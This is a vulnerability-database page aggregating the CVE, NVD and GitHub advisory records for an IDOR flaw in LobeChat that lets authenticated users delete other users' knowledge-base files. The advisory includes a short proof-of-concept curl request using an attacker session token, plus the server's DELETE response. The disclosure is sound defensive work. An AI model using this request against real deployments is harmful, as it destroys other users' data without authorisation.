Vulnerability-Lookup

CVE-2026-23522 (GCVE-0-2026-23522)

Vulnerability from cvelistv5 – Published: 2026-01-19 16:53 – Updated: 2026-01-20 21:35

Title

Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion

Summary

LobeChat is an open source chat application platform. Prior to version 2.0.0-next.193, `knowledgeBase.removeFilesFromKnowledgeBase` tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership. `userId` filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID. While the vulnerability is confirmed, practical exploitation requires knowing target's KB ID and target's file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless. Users should upgrade to version 2.0.0-next.193 to receive a patch.

Severity ?

3.7 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-284 - Improper Access Control
CWE-639 - Authorization Bypass Through User-Controlled Key
CWE-862 - Missing Authorization
CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes

Assigner

GitHub_M

References

URL

Tags

	https://github.com/lobehub/lobe-chat/security/adv…	x_refsource_CONFIRM
	https://github.com/lobehub/lobe-chat/commit/2c176…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	lobehub	lobe-chat	Affected: < 2.0.0-next.193

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-23522

Vulnerability from fkie_nvd - Published: 2026-01-19 17:15 - Updated: 2026-01-19 17:15

Severity ?

3.7 (Low) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/lobehub/lobe-chat/commit/2c1762b85acb84467ed5e799afe1499cd2f912e6
	security-advisories@github.com	https://github.com/lobehub/lobe-chat/security/advisories/GHSA-j7xp-4mg9-x28r

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LobeChat is an open source chat application platform. Prior to version 2.0.0-next.193, `knowledgeBase.removeFilesFromKnowledgeBase` tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership. `userId` filter in the database query is commented out, so it\u0027s enabling attackers to delete other users\u0027 KB files if they know the knowledge base ID and file ID. While the vulnerability is confirmed, practical exploitation requires knowing target\u0027s KB ID and target\u0027s file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless. Users should upgrade to version 2.0.0-next.193 to receive a patch."
    }
  ],
  "id": "CVE-2026-23522",
  "lastModified": "2026-01-19T17:15:50.590",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 3.7,
          "baseSeverity": "LOW",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-01-19T17:15:50.590",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/lobehub/lobe-chat/commit/2c1762b85acb84467ed5e799afe1499cd2f912e6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-j7xp-4mg9-x28r"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-284"
        },
        {
          "lang": "en",
          "value": "CWE-639"
        },
        {
          "lang": "en",
          "value": "CWE-862"
        },
        {
          "lang": "en",
          "value": "CWE-915"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-J7XP-4MG9-X28R

Vulnerability from github – Published: 2026-01-20 17:14 – Updated: 2026-01-20 17:14

Summary

Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion

Details

Summary

knowledgeBase.removeFilesFromKnowledgeBase tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership.

Details

userId filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID.

PoC

ATTACKER_TOKEN="xx"

VICTIM_KB="kb_tuLBfskdDN1r"
VICTIM_FILE="file_v5wCNLqSaoPp"

curl -X POST "https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" -H "Content-Type: application/json" -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}'

Response:

{"result":{"data":{"json":{"command":"DELETE","rowCount":1,"oid":null,"rows":[],"fields":[]}}}}

Impact

An attacker can delete files from any user's KB. RAG/AI functionality broken when files removed. It could cause loss of important documents, proprietary data etc.

While the vuln is confirmed, practical exploitation requires knowing target's KB ID and target's file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless.

Severity ?

3.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.143.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T17:14:39Z",
    "nvd_published_at": "2026-01-19T17:15:50Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`knowledgeBase.removeFilesFromKnowledgeBase` tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership.\n\n### Details\n\n`userId` filter in the database query is commented out, so it\u0027s enabling attackers to delete other users\u0027 KB files if they know the knowledge base ID and file ID.\n\n### PoC\n\n```\nATTACKER_TOKEN=\"xx\"\n\nVICTIM_KB=\"kb_tuLBfskdDN1r\"\nVICTIM_FILE=\"file_v5wCNLqSaoPp\"\n\ncurl -X POST \"https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1\" -H \"Content-Type: application/json\" -b \"__Secure-better-auth.session_token=$ATTACKER_TOKEN\" -d \u0027{\"0\":{\"json\":{\"knowledgeBaseId\":\"\u0027\"$VICTIM_KB\"\u0027\",\"ids\":[\"\u0027\"$VICTIM_FILE\"\u0027\"]}}}\u0027\n```\n\nResponse:\n\n`{\"result\":{\"data\":{\"json\":{\"command\":\"DELETE\",\"rowCount\":1,\"oid\":null,\"rows\":[],\"fields\":[]}}}}`\n\n### Impact\n\nAn attacker can delete files from any user\u0027s KB. RAG/AI functionality broken when files removed. It could cause loss of important documents, proprietary data etc.\n\nWhile the vuln is confirmed, practical exploitation requires knowing target\u0027s KB ID and target\u0027s file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless.",
  "id": "GHSA-j7xp-4mg9-x28r",
  "modified": "2026-01-20T17:14:39Z",
  "published": "2026-01-20T17:14:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-j7xp-4mg9-x28r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/commit/2c1762b85acb84467ed5e799afe1499cd2f912e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-23522 (GCVE-0-2026-23522)

FKIE_CVE-2026-23522

GHSA-J7XP-4MG9-X28R

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature